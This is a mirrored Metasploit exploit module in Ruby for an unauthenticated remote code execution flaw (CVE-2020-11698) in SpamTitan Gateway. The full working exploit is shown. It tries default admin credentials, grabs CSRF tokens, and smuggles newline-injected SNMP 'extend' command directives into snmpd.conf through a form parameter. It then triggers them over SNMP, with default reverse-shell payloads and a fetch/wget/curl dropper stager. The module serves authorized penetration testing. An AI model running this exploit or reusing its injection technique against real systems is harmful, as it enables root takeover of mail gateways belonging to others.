CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/webapp/spamtitan_unauth_rce.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::SNMPClient
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'SpamTitan Unauthenticated RCE',
19
'Description' => %q{
20
TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
21
unwanted emails and malwares. This module exploits an improper input
22
sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
23
into the SNMP configuration file and get remote code execution as root. Note
24
that only version 7.03 needs authentication and no authentication is required
25
for versions 7.01, 7.02 and 7.07.
26
27
First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
28
command directives (`extend` + command) passed to the `community` parameter.
29
This payload is then added to `snmpd.conf` by the application. Finally, the
30
module triggers the execution of this command by querying the SNMP server for
31
the correct OID.
32
33
This exploit module has been successfully tested against versions 7.01, 7.02,
34
7.03, and 7.07.
35
},
36
'License' => MSF_LICENSE,
37
'Author' => [
38
'Christophe De La Fuente', # MSF module
39
'Felipe Molina' # original PoC
40
],
41
'References' => [
42
[ 'EDB', '48856' ],
43
[ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],
44
[ 'CVE', '2020-11698']
45
],
46
'CmdStagerFlavor' => %i[fetch wget curl],
47
'Payload' => {
48
'DisableNops' => true
49
},
50
'Targets' => [
51
[
52
'Unix In-Memory',
53
{
54
'Platform' => 'unix',
55
'Arch' => ARCH_CMD,
56
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
57
'Payload' => {
58
'BadChars' => "\\'#",
59
'Encoder' => 'cmd/perl',
60
'PrependEncoder' => '/bin/tcsh -c \'',
61
'AppendEncoder' => '\'#',
62
'Space' => 470
63
},
64
'Type' => :unix_memory
65
}
66
],
67
[
68
'FreeBSD Dropper (x64)',
69
{
70
'Platform' => 'bsd',
71
'Arch' => [ARCH_X64],
72
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
73
'Payload' => {
74
'BadChars' => "'#",
75
'Space' => 450
76
},
77
'Type' => :bsd_dropper
78
}
79
],
80
[
81
'FreeBSD Dropper (x86)',
82
{
83
'Platform' => 'bsd',
84
'Arch' => [ARCH_X86],
85
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },
86
'Payload' => {
87
'BadChars' => "'#",
88
'Space' => 450
89
},
90
'Type' => :bsd_dropper
91
}
92
]
93
],
94
'DisclosureDate' => '2020-04-17',
95
'DefaultTarget' => 0,
96
'Notes' => {
97
'Stability' => [CRASH_SAFE],
98
'Reliability' => [REPEATABLE_SESSION],
99
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
100
}
101
)
102
)
103
register_options(
104
[
105
Opt::RPORT(80, true, 'The target HTTP port'),
106
OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),
107
OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),
108
OptString.new(
109
'USERNAME',
110
[
111
false,
112
'Username to authenticate, if required (depending on SpamTitan Gateway version)',
113
'admin'
114
]
115
),
116
OptString.new(
117
'PASSWORD',
118
[
119
false,
120
'Password to authenticate, if required (depending on SpamTitan Gateway version)',
121
'hiadmin'
122
]
123
),
124
OptString.new(
125
'COMMUNITY',
126
[
127
false,
128
'The SNMP Community String to use (random string by default)',
129
Rex::Text.rand_text_alpha(8)
130
]
131
),
132
OptString.new(
133
'ALLOWEDIP',
134
[
135
false,
136
'The IP address that will be allowed to query the injected `extend` '\
137
'command. This IP will be added to the SNMP configuration file on the '\
138
'target. This is tipically this host IP address, but can be different if '\
139
'your are in a NAT\'ed network. If not set, `LHOST` will be used '\
140
'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'
141
]
142
),
143
], self.class
144
)
145
end
146
147
def check
148
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
149
vprint_status("Check if #{snmp_x_uri} exists")
150
res = send_request_cgi(
151
'uri' => snmp_x_uri,
152
'method' => 'GET'
153
)
154
155
if res.nil?
156
return Exploit::CheckCode::Unknown.new(
157
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"
158
)
159
end
160
161
if res.code == 302
162
vprint_status(
163
'This version of SpamTitan requires authentication. Trying with the '\
164
'provided credentials.'
165
)
166
res = send_request_cgi(
167
'uri' => '/index.php',
168
'method' => 'POST',
169
'vars_post' => {
170
'jaction' => 'none',
171
'language' => 'en_US',
172
'address' => datastore['USERNAME'],
173
'passwd' => datastore['PASSWORD']
174
}
175
)
176
if res.nil?
177
return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
178
end
179
180
if res.code == 200 && res.body =~ /Invalid username or password/
181
return Exploit::CheckCode::Safe.new(
182
'Unable to authenticate - Invalid username or password'
183
)
184
end
185
unless res.code == 302
186
return Exploit::CheckCode::Unknown.new(
187
"Unable to authenticate - Unexpected HTTP response code: #{res.code}"
188
)
189
end
190
191
# For whatever reason, the web application sometimes returns multiple
192
# PHPSESSID cookies and only the last one is valid. So, make sure only
193
# the valid one is part of the cookie_jar.
194
cookies = res.get_cookies.split(' ')
195
php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last
196
cookie_jar.clear
197
cookie_jar.add(php_session)
198
remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }
199
cookie_jar.merge(remaining_cookies)
200
201
res = send_request_cgi(
202
'uri' => snmp_x_uri,
203
'method' => 'GET'
204
)
205
end
206
207
unless res.code == 200
208
return Exploit::CheckCode::Safe.new(
209
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\
210
"unexpected HTTP response code: #{res.code}"
211
)
212
end
213
214
Exploit::CheckCode::Appears
215
rescue ::Rex::ConnectionError => e
216
vprint_error("Connection error: #{e}")
217
return Exploit::CheckCode::Unknown.new(
218
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"
219
)
220
end
221
222
def exploit
223
if target['Type'] == :unix_memory
224
execute_command(payload.encoded)
225
else
226
execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)
227
end
228
rescue ::Rex::ConnectionError
229
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
230
end
231
232
def inject_payload(community)
233
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
234
print_status("Send a request to #{snmp_x_uri} and inject the payload")
235
236
post_params = {
237
'jaction' => 'saveAll',
238
'contact' => 'CONTACT',
239
'name' => 'SpamTitan',
240
'location' => 'LOCATION',
241
'community' => community
242
}
243
244
# First, grab the CSRF token, if any (depending on the version)
245
res = send_request_cgi(
246
'uri' => '/snmp.php',
247
'method' => 'GET'
248
)
249
if res.code == 200
250
doc = ::Nokogiri::HTML(res.body)
251
csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value
252
csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value
253
if csrf_name && csrf_token
254
print_status('CSRF token found')
255
post_params['CSRFName'] = csrf_name
256
post_params['CSRFToken'] = csrf_token
257
end
258
end
259
260
res = send_request_cgi(
261
'uri' => snmp_x_uri,
262
'method' => 'POST',
263
'vars_post' => post_params
264
)
265
if res.nil?
266
fail_with(Failure::Unreachable,
267
"#{peer} - Unable to inject the payload - no response")
268
end
269
unless res.code == 200
270
fail_with(Failure::UnexpectedReply,
271
"#{peer} - Unable to inject the payload - unexpected HTTP response "\
272
"code: #{res.code}")
273
end
274
begin
275
json_res = JSON.parse(res.body)['success']
276
rescue JSON::ParserError
277
json_res = nil
278
end
279
unless json_res
280
fail_with(Failure::UnexpectedReply,
281
"#{peer} - Unable to inject the payload - Unknown error: #{res.body}")
282
end
283
end
284
285
def trigger_payload(name)
286
print_status('Send an SNMP Get-Request to trigger the payload')
287
288
# RPORT needs to be specified since the default value is set to the web
289
# service port.
290
connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])
291
begin
292
res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")
293
msg = "SNMP Get-Request response (status=#{res.error_status}): "\
294
"#{res.each_varbind.map(&:value).join('|')}"
295
if res.error_status == :noError
296
vprint_good(msg)
297
else
298
vprint_error(msg)
299
end
300
rescue SNMP::RequestTimeout, IOError
301
# not always expecting a response here, so timeout is likely to happen
302
end
303
end
304
305
def execute_command(cmd, _opts = {})
306
if target['Type'] == :bsd_dropper
307
# 'tcsh' is the default shell on FreeBSD
308
# Also, make sure it runs in background (&) to avoid blocking
309
cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"
310
end
311
name = Rex::Text.rand_text_alpha(8)
312
ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'
313
if ip == '127.0.0.1'
314
print_warning(
315
'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\
316
'instead. It will probably fail to trigger the payload.'
317
)
318
end
319
320
# The injected payload consists of two lines:
321
# 1. the community string and the IP address allowed to query this
322
# community string
323
# 2. the `extend` keyword, the name token used to trigger the payload
324
# and the actual command to execute
325
community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"
326
inject_payload(community)
327
328
# The previous HTTP POST request made the application restart the SNMPD
329
# service. So, wait a bit to make sure it is running.
330
sleep(2)
331
332
trigger_payload(name)
333
end
334
end
335
336